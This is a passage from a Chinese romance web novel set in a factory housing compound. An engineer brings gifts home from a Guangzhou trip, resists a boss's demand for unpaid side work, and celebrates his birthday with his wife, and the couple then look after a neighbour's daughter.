李固言将工服换下来用水泡上,他的工服一般都是要先手洗一遍再放洗衣机搅的,在机械厂里难免就要沾上机油,直接放进洗衣机,会把洗衣机弄脏 。 “我后天要去广州出个差,有个交流会要去看一下。” 舒英问:“要去几天?”出差他以前也常出的,只是那时候两人关系不好,他也就是跟她交代一声,她也不问他什么时候回来,只是心里知道他去了哪,别人问起来不尴尬。 李固言将衣服泡好后也搬了个小板凳坐在门前跟着她一起择菜,他回道:“没说具体几天,我估计着应该是四五天。” 在那待四五天,来回路上还得一两天,那这一趟差不多得一个星期才能回来,舒英点点头,将择好的菜拿到水龙头下洗,边洗边说:“吴嫂子准备在院子里种点蔬菜,咱们院子里靠墙角也有一点地,我想着我们要不要也跟着种一点?”就那一点泥土地,平时上面也就堆点杂物。 “种也行不种也行,就那一点点地方也种不了多少东西。”李固言扭着头看她,突然说,“不过院子里是有点光秃秃的,要不我们种点花吧,到了夏天,花开一墙角,也好看。” 种花?舒英手上听了动作,转身去看着他,眼神里也有点欣喜,“那我这几天看看种什么花,去找点种子来。” 她刚跟他结婚的时候,刚搬进来这个院子,也是想种点花的,但还没等她种上,两人就闹掰了,这话她也就没提过,后来这么长时间过去,她自己都忘了。 李固言从兜里掏了颗糖塞她嘴里,笑着说:“那等我出差回来把那个墙角收拾一下再种。” 不知道他从哪弄的水果糖,橘子味的,舒英用舌头搅在腮边,说:“就一点地方,我自己就收拾了。” “还是等我回来弄,那边有点碎砖块什么的,别划了手。”说完见她有些不忿,眼睫动了动,继续道,“而且那地没翻过,里面肯定有虫子,蚯蚓这些还是普通的,说不定还有些什么蜈蚣蝎子的。” 说完就见她眼睛瞪得溜儿圆,他语气淡淡又补了一句:“可不是我故意吓你,你不信问吴嫂子。” 舒英从小就在城里长大,嫁人前一直住的都是楼房,哪里下过地,知道地里有什么虫子,他这样一说,她顿时就歇了要整地的心思,整个人也有点蔫蔫的。 李固言瞧着她,忍不住背过身去笑了笑,他这个妻子,有时候也好哄的很。 吃完饭后,两人也没提种花的事了,舒英道:“南方比咱们这边热一点,你带两件短袖去吧,有备无患。” “行。”李固言点点头,从柜子里拿了两件短袖放包里。 这次去广州出差的,除了他和陈主任还有丁朋义和小方,一共四个人,买的火车票,一路上十几个小时才下了车。 几个人也不是第一次来广州,也算有点经验,一下车就拽紧自己的包裹,任谁来拉都冷着脸不搭理,等出了火车站才算是松了一口气。 四个人在马路上招手拦了一辆出租车,坐上车后直奔会场周边的宾馆去。 好在这个交流会不算盛大,来的人也不是很多,宾馆价格也就没高到离谱,但房间还是紧张的,四个人开了两间房,两两一间,陈主任也没纠结什么。 明天交流会才正式开始,李固言放下东西后想出去转转,看给家里带点东西。 尤其是给舒英送了项链后尝到了些甜头,实在让他有些欲罢不能。广州是大城市,比他们安城发达繁盛得多,稀奇流行的东西也多,他多买些回去,肯定有舒英喜欢的。 他将东西放好后问了问其他三人要不要一起,陈主任看着他精神头满满,失笑着摇头:“你们年轻人去玩吧,我先睡一觉。” 舟车劳顿十几个小时,他是乏得很。 另外两人也没什么精力再出去转悠,李固言倒也乐得一个人自在。 他从楼上下来,经过前台,就见一个中年男人跟前台牛头不对马嘴的说,两个人脸上都染着焦急,但苦于语言实在不怎么通,谁也理解不了谁的意思。 从楼梯口到门口有一段路,李固言不免听了两耳朵。 中年男子听口音是江浙那边的,普通话也不标准,前台小哥广东口音又很重。 李固言之前去江浙那边出过差,倒勉强能理解中年男人的意思,他上前帮忙跟前台说:“他说他钱包丢了,想借你这边的电话用一下。”钱包里面一般放的不只是钱,他估摸着这男人的一些证件、卡之类都一并丢了。 中年男人瞧着他,意识到他在帮自己,连忙向他点头道谢。 李固言抿唇笑了笑,等他打上电话后就走了。 广州是繁华,但也还没那么规范,尤其是一些店,进去买东西,先是瞧你衣着打扮再听你口音,接着就是漫天要价,不是内行的人难免就要被牵着鼻子走。 李固言特特避开这种店,去到大商场里,这种大城市一天就是一个样子,他以前来过,但现在再看,却又是完全不同了。 大商场地砖光亮可照人,各色灯光物品琳琅满目,李固言站在扶手电梯上缓缓上行,视线看下去,只觉遗憾,舒英要是看到这景色肯定会很喜欢的。 在李固言念着舒英的时候,舒英也在想着李固言。 两人自和好后还没分开过这么长时间,晚上睡觉的时候,旁边猛然空了一个人,她还真是有些不适应。 黑暗之中,她突然起身将房间里的灯拉开,灯将房间里的角角落落都照亮,她想起李固言说的蝎子蜈蚣,不自禁的起了一身鸡皮疙瘩。 她瞪着双眼紧盯着房间四周,生怕哪个角落突然冲出来一只,想到这里,她又要埋怨起李固言来,都怪他吓她,要不然她怎么会大半夜的睡不着觉,看他回来她要怎么收拾他! 交流会还是一如既往,倒是没什么变化,李固言拿着笔和本子,认真听着记着。 中场休息的时候,外面设了点心小吃,几个人认真听了半晌午,也都有些饿了,出来边吃边聊。 小方是第一次跟着出来,看什么都新鲜,盘子里夹了一堆食物,凑到几个人面前吃,说:“这个好吃,这是什么?” 李固言瞥了一眼说:“虾饺。” “晶莹剔透的,既好看又好吃,不知道能不能带点回去, 我想给我老婆也尝尝。“小方就是之前那个跟老婆闹别扭求着前辈调解方法的人。 李固言听到他的话不语,心里也想带回去给舒英尝尝,但回去十来个小时,天气也渐渐热了,恐怕还没到地方就酸在半路了。 他正想着,旁边有人上来打招呼,“是你!” 李固言闻言转头看过去,是昨天那个在前台要打电话的那个人,没想到他也是来参加交流会的。 相较于他的客气,中年男人的态度要热络很多,“昨天真是谢谢你!” 李固言向陈主任几人低声解释几句后才对中年男人道:“举手之劳而已,我也没帮上什么忙。”这话倒也不是自谦,他昨天也就是太着急了点,缓一缓用手比划或是用纸笔写下来,也能交流。 第24章 第24章 心意 李固言没将此事放在心上, 中年男人却很感激,连连道谢后从口袋里掏出自己的名片递给他:“这是我的名片,我在浙江开了一家小厂, 主营是风扇组装。” 李固言接过名片, 此人叫罗泓,名字后跟着的职位是厂长,他随之将自己一行人简单介绍了一下。 这时候私人厂的名头还是比不过国有企业, 罗泓听完李固言的介绍,热情道:“怪不得都说这个交流会卧虎藏龙,想不到这随便撞见的都这么厉害!真是缘分啊缘分。”他来这个交流会可不只是简单的想要了解目前的行业现状,他是厂子里出了问题了, 想来看看能不能找到解决方法的。 他厂里的机床出了故障,来来回回请了不少人来调理,接过不但没修好还差点搞报废,所以一听说广州有个交流会, 他拎了包就来了。 罗泓小心观察着这几个人, 他们那个厂子他也听过的,是机械大厂, 说不定就能把他厂里的问题解决掉。 想到这, 他笑得更亲切了些。 陈主任四人来这交流会倒也不只是为交流学习,主要也是想多拉点业务,两方有意之下,倒是互相留了联系方式, 走得更近了些。 几天交流会下来,大家都收获不小,也是时候回去了。 舒英晚上下班,刚走到机械厂门口就看见几道熟悉的身影, 人高马大,拎着包站在一旁的出了李固言还能有谁。 她看见他们的同时,他们也就看见了她,李固言登时就笑了起来。 舒英走过去跟陈主任等人打了招呼,就要伸手从李固言手里接点东西过来,也不知道怎么的,四个人里就他手里拎的东西最多,杂七杂八的袋子,也不知道里面都装了些什么。 李固言手一避,没递给她。 陈主任见状打趣道:“李工这趟可真是收获满满,你回去好好翻翻他的包,可不少好东西呢!” 舒英没听懂他话里的意思,就只是笑着点了点头。 丁朋义在旁边笑:“不知道的还以为李工要把整个广州给搬回来给你呢!那真是,看见什么都想买回来,吃的喝的玩的,买了一堆。” 小方也接腔道:“有李工在旁边打样,我们不多买点东西都好像我们心里没老婆。”可怪不得说让他跟李工取取经呢! 舒英听完两人的话,这才反应过来他们在说什么,她扭头看了眼李固言,见他面颊泛红,眼神也躲闪着不好意思看她,像是不自在一般。 舒英闷闷笑了笑,跟陈主任几人客套了几句后,各回各家。 陈主任三人瞧着夫妻俩的背影,都在心里感叹,感情是真好。 舒英和李固言没管后面的人在想什么,舒英路上强行分了点李固言手里的东西拎着,他手都被勒红了,可见是不轻。 李固言本不想给她,被舒英一句话噎回来了:“不是给我买的东西吗?” 两个人进了家里,李固言还有些不自在,舒英看着他笑了笑,道:“坐了这么久的车,身上都馊了,你先去洗个澡吧,我正好做饭。” “馊了吗?”李固言抬胳膊闻了闻,有点尴尬地又放了下去,从柜子里拿了干净的衣服进了浴室。 舒英瞧着他笑,也不管他,进厨房炒菜。 一切收拾妥当,吃完饭后,李固言将带回来的东西打开,说:“这些都是从广州带回来的,这是给两个爸妈的,这是给大姐小妹的……”两家子大人的小孩的,谁的礼物都有,十分周到。 给别人的说完后,才介绍给舒英的:“这丝巾是我看那边好多女孩子都戴,想着你应该喜欢,就给你买了一条,我还特意跟店主学了几个佩戴方法!”说完拿着丝巾往她脖子上绕。 两条丝巾,一条花哨点,一条简洁点,都很漂亮,舒英摸着又滑又软,李固言将她拉到镜子前,笨手笨脚的在她脖子上缠了个花。 舒英抬头看着他,与明显不太熟练的双手不同的是脸上认真的表情,薄唇轻抿,眼神一错不错地盯着她脖间。 舒英笑了笑,撑着他的手臂踮脚在他脸颊处亲了一下。 李固言笑起来,将剩下的几种系法展示给她看。 除了丝巾,他还买了很多其它的东西,玩的用的倒是没什么事,一些能长放的糕点也没事,可怜的是有些吃食已经微微泛着酸味了。 李固言瞧着那些坏掉的食物可惜道:“这些味道都很不错的。”他吃的时候就想让她也尝尝,没想到还是没能吃到。 舒英笑:“没事,等以后我们一起去广州吃。” “也只能这样了。”李固言还是有些遗憾,转而又跟她说了很多在广州的见闻。 天色已晚,两人小别胜新婚,难免一番云雨。 战场收拾好后,李固言餍足地睡去。 舒英就着窗外微弱的月光,撑着头看他的睡颜。 她食指点着他额头,经过眉心划到鼻骨,她心念一动,在他眉心处落下一吻。 直到今日,她才迟钝地反应过来他的心意。 原来早就在不知不觉中,他已经满心满眼都是她了吗? 舒英想起这段时间的相处,他以往的那些冷峻、寡言好像都已改变,他记得她的喜好,记得给她送春节礼物,每次看向她时都一脸笑意,眼神里也是化不开的爱意。 只是她太迟钝,直到今天才意识到。 舒英在他脸上作怪的手被一把握住,李固言睡意朦胧的睁开眼,问:“怎么还没睡?” 舒英躺下,枕着他的臂膀,一只手被他握着放在心口,她道:“就睡了。” 她闭上眼,听着他沉稳有力的心跳声,一时有些愧疚,相较于他所付出的,她给予的要少许多,难免不太公平。 之前还想着两个人是凑活过日子,有那一本书压在她心口,她也总不安心,总觉得两个人过不长久,所以她在对他的感情上一直有些收敛。 舒英问自己的心,经过这段时间的相处,她也是真心想要与他过一生的,那就先不要去管那本书如何,书上的文字是死的,日子都是人过的。 打定了主意后,舒英也沉沉睡去。 这一茬过后,舒英也没跟李固言多说什么,两个人还照常生活,李固言照常在机械厂上班、加班,舒英也照常在二院严守其规章制度。 但下了班后的空闲时间,舒英减少了做手工看电视的时间,都用来看书了。 李固言的未来一定是辉煌灿烂的,舒英不想与他相差过大,两个差距太大的人,是很容易没话说的。 舒英将他纳入了自己的未来规划,李固言对此还一无所知。 出差前就说要在院子里种花,吴嫂子家的菜种都点下去了,他们家的地还没翻呢,李固言回来后这几天也在寻摸合适的种子。 找来找去,最终不知道从哪找来一包月季的种子。 李固言:“月 季好种,而且一月开一次花。” 舒英对此也没有异议,李固言在下班后跟隔壁吴家借了锄头,将那一小块地给松松土。 吴嫂子和吴晓丽娘俩好奇过来看,吴嫂子笑道:“李工这从小长在城里,也没下过地,没想到拿起锄头倒还真像那么回事儿!” 舒英也笑起来,从房里拿出李固言从广州带回来的糕点分给她们吃,“尝尝味道怎么样,他从广州带回来的。”又问,“晓丽今年是不是就要考高中了?” “可不是嘛!”吴嫂子咬了一口糕点,眼神亮了亮,夸道,“这个好吃,这叫什么名字?” “好像是叫酥皮莲蓉包吧。”舒英眯着眼想了想包装盒上的名字。 吴嫂子:“这味道不错,就是不知道怎么做的。” 吴晓丽也在一旁边吃边点头,眼睛微微眯起来,很喜欢的样子。 舒英笑起来:“家里还有,待会儿给你拿几个回去。”李固言带了好几盒子回来。 这东西大老远的从广州带回来的,肯定也不便宜,吴嫂子哪好意思接受,连连摆手道:“不用不用,咱们就尝一尝就行。” “哎呀,几块点心,又不值什么钱,我跟固言平时可也没少吃你们家的东西。”舒英笑着,从屋里拿了几块直接塞她手里,“正好拿回去给吴哥和晓明也尝尝。” 她话说到这份上,吴嫂子也不好意思再拒绝,两人又继续聊吴晓丽升学的事儿。 舒英问:“晓丽成绩一向好,今年准备考哪个高中?” 吴嫂子回:“我是想让她考一中的,就不知道能不能考上,但一中离咱们这边远,考上了就得住校,这一点也有点不好。二中离咱们这边倒是近,他爸也想让她上二中,但二中总归是没一中好。不过这些咱们说了也不算,还得看她到时候考多少分。” 安城的高中里,一中是最好的,都说进了一中就是一只脚迈进了大学的门,但它也是最难考的,二中也不错,但要比起一中来就差远了。 舒英宽慰道:“我瞧着晓丽成绩好,一中二中的,肯定都没什么问题,嫂子到时候可别忘了请酒。” 吴嫂子看了一眼闺女,笑道:“只要她能考上,喝茅台我跟她爸都高兴!” 几人这边聊着,那边李固言已经收拾好了,上面的杂物都清理掉了,土也松好了,就等着点种子了。 …… 三月初七这天,天气晴朗,舒英一早起来梳洗,吃早饭时问李固言:“你今天厂里忙吗?要加班吗?” 李固言咽下嘴里的食物想了想说:“这段时间厂里活不多,今天应该是不用加班。” 舒英眼瞧着有些高兴道:“那你今天早点回来。” 李固言看着她,虽然不知道所为何事,但还是点点头答应:“好。” 舒英打量着他的神色,见他是真不记得今天是什么日子了,心中也觉得有些好笑,傻蛋,今天是他的生日,没想到她记的倒比他还牢。 舒英今天是打算中午的时候去蛋糕房订一个奶油蛋糕,晚上下班再去拿回来,她没跟他说自己的安排,只道:“我今天中午跟小胡约好了,就不回来吃饭了,你在食堂吃吧。” 李固言自是没有什么异议,点头答应。 中午休息的时候要去订蛋糕,晚上一下班还得回来做长寿面,时间有些紧张,舒英出门的时候骑了自行车去上班。 李固言虽然对她今早的语言行为有些疑惑,但也没有深想,照常到厂里上班。 今天厂里事不很多,车间里的一切也都自如运转,他坐在自己的办公桌前对着图纸改了改,想着看能不能把机床上有些不很合理的地方给避免掉。 这时候陆工——也就是那个年前升了副主任的厂长侄子进来,他自从升了主任后是有自己单独的办公室的,平时工作上有事情才会来这间大办公室。 李固言听见声响,抬头看了一眼后就低下头继续做自己的事情,不想人却走到了他跟前站定。 办公室里的其他人见陆工站到他面前,也没当一回事,瞥了一眼后就各自忙各自的事情了。 陆工笑了笑,将手里的一个包子放桌子上,道:“李工,早饭吃了没,我这从食堂拿的肉包子,还热乎着呢。” 李固言看了眼包子,抿唇浅笑了一下道:“吃过了,多谢。” 陆工:“吃过了就好,这上班可不能不吃早饭,我看咱厂里有些小年轻,为了早上多睡会儿,早饭不吃,踩着点儿进车间。我还跟陈主任说这怎么能行呢,这不吃早饭就干活,一干干到中午,万一饿晕过去了就不好了。” 李固言看了他一眼,不知道他这长篇大论的是想要说什么,他没接话,只笑了笑,等着他继续说下去。 陆工果然继续道:“咱们李工在这些事情上一向是有分寸的,这我和陈主任都十分放心,正好,我这有两件事想交给你处理一下。” 听到这话,不远处的小方抬眼瞅了他一下。 李固言仍微笑着:“不知是什么事?” 陆工哈哈笑了两声,含糊道:“也不是什么大事,你在画图设计上十分擅长,正好我这有两张机械设计图,想让你帮忙画一下。” “我记得咱们厂里最近好像都没有这个工作啊。”李固言没应下,直言说,“我现在有点忙,恐怕没时间帮您画,您还是另找他人吧。”陆工没升主任前就喜欢接一些私厂的工作,赚一些外快,李固言知道他这些官司,也知道他今天这图肯定是他自己外面的兼职。 李固言这话说的不客气,陆工听着也有些生气,他皱了皱眉,脸一下就沉下来。 周围几人这下都注意到这边气氛不对,丁朋义瞥了两人一眼打了个哈哈道:“这一大早的,感觉都还没醒觉呢,我早上也还没吃饭呢,陆主任,您那个包子要不给我吃呗。” 陆工随手将包子递给他,又从随身拎着的公文包里掏了一份文件放到李固言桌子前,压着他现在正在看的图纸,也不管他的拒绝道:“这文件在这了,你今天下班前交给我。”这李固言,他打从一开始就看他不顺眼,大学毕业的又怎么样,天天工作好像多努力似的,也不知道是做给谁看的,现在不还是要在他手底下待着? 李固言没理他,将文件拿起来放到旁边,拿着铅笔继续在图纸上圈圈画画。 他动作轻柔,好像只是随手拿开一样物品,也没什么激烈情绪,但却把陆工气了个仰倒,他倒宁愿他起来跟他争执,而不是像现在这样好像一点也不把他放在眼里一样。 丁朋义和小方也看到了李固言的动作,丁朋义是下意识呼吸一窒,陆工现在升了主任,虽然是副的,但毕竟是他们上司,而且人家背后还有厂长撑腰,李工他也是清楚的,除了是大学生毕业,有知识有能力,但背后却是没有一点关系的。他也知道陆工这副主任的位置一开始是属意李工的,但现在毕竟是人家当上了,李工就算现在有再多不忿,也不能这样明着得罪陆工啊?这万一被穿了小鞋,可不是好受的。 小方到底还年轻,看到李固言将文件放到一边,心里瞬间就有些佩服,陆工这种人,接私活接的倒快,但凭着他的性子,哪里是那种能老实做的,就说小方自己,可就没少为陆工的私活加班,而且加了班也没看见半毛钱,钱都进了陆工自己的腰包了。 陆工拧着眉,表情也有些狰狞,也不叫李工了,直接道:“小李,你这样可就是有些不把我这个上司放在眼里了。” 李固言还是那副表情,连眉毛都没动一下:“您想多了,我也是对事不对人。” “真是好一个对事不对人。”陆工抽手将桌上的文件拿走,也没装回公文包,怒气冲冲道,“既然你要干厂里的活,正好,一车间最里面的那台机床不是故障了吗?你今天把它修好,可别耽误了厂里的工作。”说完一拎包扭头走了,也没管他答没答应。 等人 走后,丁朋义凑到李固言身边,叹了口气说:“李工,你说你跟他置什么气?他那人你还能不知道吗,你就算再气不过,也别这样直着跟他顶起来呀,他现在毕竟是咱们上司。” 李固言笑了笑,还没说话,就听小方嗤笑一声哼道:“他那样的人,也就是李工这种真正有本事的人能治一治他,而且说是当了副主任,咱这办公室的,谁不知道他那副主任咋来的?” 丁朋义听他这话,登时往外看了看,见没人又瞪了小方一眼,说:“这么大人了,怎么还记不住什么话该说什么话不该说?这种话要是被陆主任听了去,能有你好?” 小方仍有些不服气,但到底是熄了火气,没再说什么,还能说什么呢?整个机械厂上下,谁不知道陆工的性子,就是一纨绔,没什么真能耐,就胜在投了个好胎。 李固言将桌上的图纸收起来,没再管办公室里的同事又在聊些什么,整理好身上的工服后去了一车间。 一向暴脾气的赵工看着他的背影都忍不住摇了摇头,直叹道:“还是年轻啊,到底是没沉住气。” 舒英却是不知道厂里的这些事的,她中午一下班就骑着自行车去蛋糕房,看了几个蛋糕模型后选了个水果的,订好蛋糕,付了定金就又骑着车回医院,等到晚上下班又骑着车去蛋糕房将蛋糕取回来挂在车把上,一路小心地往家属院骑,都不敢骑快,生怕一个不察就将蛋糕碰倒变了形。 也因着她的用心,蛋糕直到到了家里都安然无恙,连一块水果都不曾错位。 舒英看了眼外面的天,六点多了,天也快黑了,算算时间,李固言要是不加班的话,也要不了多久就能到家了。 她笑了笑,撸起袖子到厨房擀面条,按照他们这边的传统习俗,过生日还是要吃长寿面才对。 不过各地对长寿面的做法不同,他们这边说是长寿面,其实不过是一碗普通的手擀面,听说有些地方要求长寿面是一整根面,而且吃的时候还不能咬断。 舒英脑子里一边想着这些乱七八糟不知道从哪看到的东西,一边将面条下进锅里。 面条出锅,舒英注意听着外面的动静,现在正是下班时间,隔壁几家大人都回来了,正热热闹闹地准备做晚饭呢,只她这院子里还是一片安静。 舒英将碗端到外间餐桌上等着,就这时外面有人喊她的电话,她心里瞬时咯噔一声,别是李固言要加班吧,以往他临时要加班,就这样给她打个电话。 不出所料,就是李固言的电话,说他今晚上要加个班,估计要很晚才回来,让她早点睡别等他。 舒英听着电话那头的声音,跟平时没什么区别,正当她想说今天是他生日,让他今天请个假别加班了时,就听电话那头有人将他喊走,电话匆匆挂断,最终她还是没能把话说出来。 舒英轻轻叹了口气,有些失落地回了家,桌上长寿面还冒着热气,蛋糕也还精致地被放置一边,她本来是想给他个惊喜的,没想到没给成。 夜很深了,月上枝头,李固言疲惫地揉了揉眉心,出了车间往家属院走,这时候大多数人家都已经关了灯了,路上一片静谧,一个人都没有,只有时不时刮阵风,树叶晃动,地上的影子也随之闪了闪。 李固言继续往前走,走到某一处后站定,他家还亮着灯,暖黄色的灯光照亮玻璃窗,又从院墙上的菱格透出来。 他笑了笑,觉得心中一暖,浑身的倦意都被扫空,他抬起脚往前走,推开院门进去。 第25章 第 25 章 生日 一进门, 就看见舒英正趴在桌子上打盹,眼睛闭着,脑袋一点一点的, 睡得一点也不安稳。 李固言站在门边看着她, 嘴角微微扬着,眼底是化不开的浓情。 舒英似有所感般睁开眼,一扭头就看见他站在门边。 李固言上前坐在她旁边, 问:“困了怎么不去睡觉?不是说不用等我的吗。” “你终于回来了,不是说这段时间厂里不忙吗?今天怎么弄到这么晚。”舒英刚说完都来不及等他的回答,看到眼前的面又道,“哎呀, 面都坨了。” 李固言笑了笑,也看了眼她面前的那碗面问:“你饿了吗?要不我再给你重新下一碗,这碗坨了就别吃了。” 舒英看了他一眼,鼓着脸嗔说:“你真不记得今天是什么日子了啊?” “什么日子?”李固言眉头微微蹙起, 眯着眼想了想, 不是什么纪念日,也不是她的生日啊。 舒英无奈似的叹了一口气, 将桌子后面的蛋糕拿出来, 说:“笨蛋,今天是你的生日啊。” “哦哦我的生日,对,我的生日。”李固言点着头, 点了一会儿才反应过来,“哦!我的生日!” 舒英瞧着他,笑得合不拢嘴,笑完后瞥到已经坨了的面又惋惜道:“可惜下的长寿面已经又冷又坨了, 你坐着等会儿,我重新给你下一碗。”说着就端起碗起身想要进厨房将这碗倒掉,再重新做一份。 李固言连忙将面碗拿到自己眼前,拿起筷子就夹了一坨往嘴里塞,边吃边点头:“坨了也好吃,我就喜欢吃这样的面。” 面条在碗里已经凝成块状了,口感也不好,但他却觉得这是自己吃过最好吃的面,今天是他的生日,他的妻子在为他庆生。 他吃着吃着就想把脸埋进碗里,因为眼眶已经有些湿润,实在羞于以这面目展示在他的妻子面前。 舒英是不想让他吃这冷面的,过生日哪有吃这种面的道理,但他速度快,几筷子就将面全部吃完了,把空碗往桌子中央一推,笑着夸道:“好吃,特别香!” 舒英:“说谎都不打草稿的。” “真的好吃。”李固言直勾勾地看着她,眼眸水润润的,像盛满了漫天星光。 舒英被看的有些不好意思,抬手拆掉蛋糕包装,说:“吃蛋糕吧。” “嗯。” 舒英将蜡烛插在蛋糕上,拿了打火机点燃后关掉屋里的灯,对他道:“许个愿。” 李固言借着明灭的烛火望向她,烛光在她脸上跳动,他笑了笑,在心里道:“我想和眼前的人执手一生。” 他没有说出声,因为他有些羞涩。 “许好了。” “那我们切蛋糕吧。”舒英切了两块蛋糕放在白色的纸盘里,两人一人一盘。 她轻轻咬了一口自己的蛋糕,说:“好甜。” 李固言看着她嘴角的一点奶油,伸手替她抹去,指腹触及唇瓣,两人都是一愣。 舒英抬眸看着他,嘴唇微张。 李固言垂眼盯着她的唇瓣,单手捧着脸吻了上去。 鼻尖相抵,舌尖相融,两人都情不自禁地闭上眼,耳鬓厮磨中充满了蛋糕的香甜。 …… 后半夜,寂静的家属院一角突然亮起灯,接着响起一阵声响,是隔壁的吴家。 院子里的狗也被吵醒,“汪汪”吠了两声,引起远处的一阵狗叫。 在这狗吠声中隐约夹杂了几道哭声。 接着舒英家院门被拍响,“李工,李工!” 李固言听着外面的声音,回头看了眼睡得正香的舒英,他轻轻掀开被子起身,穿上外套又给她掖了掖被角后出门。 院门拉开,他看着门口的吴家两口子,有些震惊也有些疑惑,问:“这是怎么了?” 吴家两口子都面带焦急,吴嫂子脸上甚至还在流着泪。 吴哥先是道歉,“这么晚打扰你们真是不好意思。”然后才解释说,“刚刚我岳母家突然来电话,说岳母摔了一跤,现在已经送医院去了。” 他话说到这,吴嫂子眼里的泪又汹涌了些,她妈年纪不小了,老人骨头脆,最怕跌跤,多少老人都因为意外摔了一跤就走了的,而且这大半夜的打电话,恐怕就是情况不太好,催着她回去,生怕她见不到老人最后一面。 李固言也明白这个道理,忙问道:“哥,嫂子,那你们看你们有什么要帮忙 的?尽管说,都说远亲不如近邻,有什么事,我们能帮得上忙的千万别客气。“大半夜敲邻居家门肯定是有事相求。 这时候舒英也从屋里出来了,披着一件外套,也说道:“是,嫂子,你看看我们能做些什么?”她走到吴嫂子身边搀着她,又从口袋里拿出手帕给她擦眼泪。 吴嫂子是远嫁过来的,今年过年都没回去,现在心里肯定慌张得很。 吴嫂子擦了眼泪后吸了吸鼻子,还带着哭腔:“我跟老吴商量说请这几天假,回去看看是什么情况,马上就去火车站守着,买最早的票回去。就是我们俩回去后,俩孩子还上着学,尤其是晓丽,再过两三个月就中考了,她不能跟着我们一块儿来回奔波,就想托你俩帮忙看顾一下,也不用管他们穿衣吃饭,给留了钱了,就让她姐弟俩买着吃就行,就是要遇着啥事儿,你们帮着瞧一下。” 舒英:“嫂子你这话说的,我们本来顿顿就要做饭的,俩孩子能吃多少,就让他们跟着我们一块儿吃就行!这瞧着马上天就亮了,你们放心回去吧,到了那边给我们打个电话,要有什么事咱再商量。”这主要是怕如果老人真没撑过去,肯定是要让俩孩子去一趟的,不说别的,作为外孙外孙女,也送老人最后一程。 这时候晓丽和晓明也出来了,两人站在他们妈旁边,晓明瞧着脸上还有些茫然,像是不明白发生了什么,晓丽已经大了,什么事儿都知道了,看着她妈妈,眼神里都是担忧。 吴晓丽:“妈,你带我一块儿回去吧,我也好久没看姥姥了。” 吴嫂子摇了摇头说:“你姥现在应该还没大事,你大舅电话也没说清楚,我跟你爸先回去,你先安心在这边读书,马上就要中考了,不能耽误。” 吴晓丽嘴唇张了张,最后没再说什么。 吴晓明平日里最是闹腾,也许是意识到现在气氛不对,倒是安静许多。 吴嫂子看了他一眼,说:“晓明跟着我们一起回去吧。”他现在才小学,成绩本来就不好,不怕耽误,性格又一贯的不老实,留在这也是平白给人家添麻烦。 几个人快速将事情定下来,天边也隐隐泛了白。 舒英说:“行,嫂子,晓丽放心交给我们,你们赶紧收拾东西去车站吧,别去晚了买不上票。” 现在已经五点多了,睡也睡不了多久了,而且弄了这一通,也早都没了困意,舒英穿好衣服后就到吴家帮着收拾东西,时间紧,也不用带太多东西,只带几件换洗衣服就行,三个人,一个包就装完了。 李固言又帮着在机械厂门口拦出租车,这个点路上也没几辆车,出租车也还没出车,他等了小半个小时才拦到了一辆愿意到火车站的车,连忙去叫吴家三人。 吴晓丽看着爸妈和弟弟坐上车,吴嫂子扒着车窗又叮嘱了她几句:“你好好听叔叔阿姨的话,放了学别乱跑,赶紧回家,回到家把门插紧,别跟生人搭话!”她话说了没几句,小车就往前开走,留下一阵尾气。 吴晓丽看着远去的小车,也忍不住瘪了瘪嘴,眼眶蓄起了泪。 舒英拉着孩子的手安慰:“没事儿,别怕,姥姥福大命大肯定不会有什么事的,到时候她老人家还要来吃我们晓丽的升学酒呢!” 吴晓丽闷闷嗯了声,情绪还是很低落。 李固言这时候已经回了院子先准备早饭了,家里多了一张嘴,他煮粥多放了把米,又去厂门口买了包子油条,想着小孩子喜欢吃甜的,又另买了麻球和糖糕。 舒英拉着吴晓丽回了吴家,她家的狗被拴在院子里,好像是知道家里出了事儿一样,也有些蔫头耷脑的。 刚刚收拾行李收的急,吴家现在还有些乱腾的,舒英帮着给归置了下。 李固言准备好了早饭,隔着院墙喊两人过来吃饭。 “叔叔也不知道你喜欢吃什么,你看看这些合不合你口味?” 吴晓丽勉强笑了笑,说:“谢谢叔叔,我不挑食的。” 初三的女孩子已经颇具成人模样,她又一向懂事,看得舒英都忍不住心疼。 舒英:“这几天你就跟着叔叔阿姨吃,放了学就来这儿,吃完了饭再回去写作业,要有什么事就跟阿姨说。” 吴晓丽点点头,乖乖将早饭吃完,舒英瞧她吃得不多,不知道她是本来饭量就不大,还是因为今天早上没胃口。 吃完了饭后,舒英从厨房里找了个铝饭盒出来,在里面装了几块面包饼干,又另外拿了个苹果,一并放晓丽书包里说:“上学也辛苦,饿了就打开吃,垫垫胃。”一切弄完后才上班的上班,上学的上学。 晚上下班回来后,舒英就赶紧准备晚饭,恐怕晓丽今天胃口不好,她炒了几道清淡点的菜,又煲了锅鱼汤。 晓丽今年初三,放了学后学校还有晚辅导,要等到快七点才能回来。 舒英看着天色,正想着要不要让李固言去校门口接一下,就听见隔壁的汪汪叫起来,汪汪平时叫的不多,应该就是晓丽回来了。 果不其然,舒英到院子里通过墙上的菱格看向隔壁,晓丽正放着书包呢,她笑道:“饭做好了,你书包放好后就来吃饭吧。” “好,就来。”晓丽听见声音连忙放下东西,出了门过来。 家里多了个人,还是个青春期的女孩,李固言安静地吃着自己的饭,除了给舒英夹菜外,没怎么说话。 舒英看晓丽客气似的,舀了一碗鱼汤放到她面前,笑着说:“在这儿就跟在自己家一样,尝尝这汤,看好不好喝。” 鱼汤熬得浓白,嫩嫩的豆腐碰着碗璧,煞是诱人,晓丽端起来喝了一口后夸赞:“好喝!谢谢阿姨。” “谢什么。”舒英笑了笑,又给她碗里夹了块肉,“你爸妈估计今晚上就到姥姥家了,到时候来了电话我跟你说。” “好。” 吃完了饭后,晓丽很是勤快的要帮忙收拾卫生,舒英拉着她:“交给你李叔叔就行,今天作业多不多?吃完就快点去写作业吧,写完了作业估计就很晚了。” 晓丽端着碗盘,微微低下头,“没事的阿姨。” 舒英看出她有些拘谨,她轻叹了口气,这个年级的女孩子就是这样的,在外面总是小心翼翼,生怕给别人带来麻烦,吃完了饭后就想帮着收拾卫生。 李固言直接将她手上的碗盘拿走,笑道:“正好你阿姨这段时间也在看书呢,你们去隔壁安安静静学习去,这些交给叔叔就行。” 舒英配合着将她拉走,拉到隔壁吴家去,进了院子,汪汪立马从饭盆里抬头,冲两人摇头摆尾。 舒英笑了笑,她能感觉到晓丽进了自家的门后,身体才没那么紧绷。 她瞧着她,总觉得在她身上看到了自己少女时的影子,有点自卑的、有点沉默的一段时期。 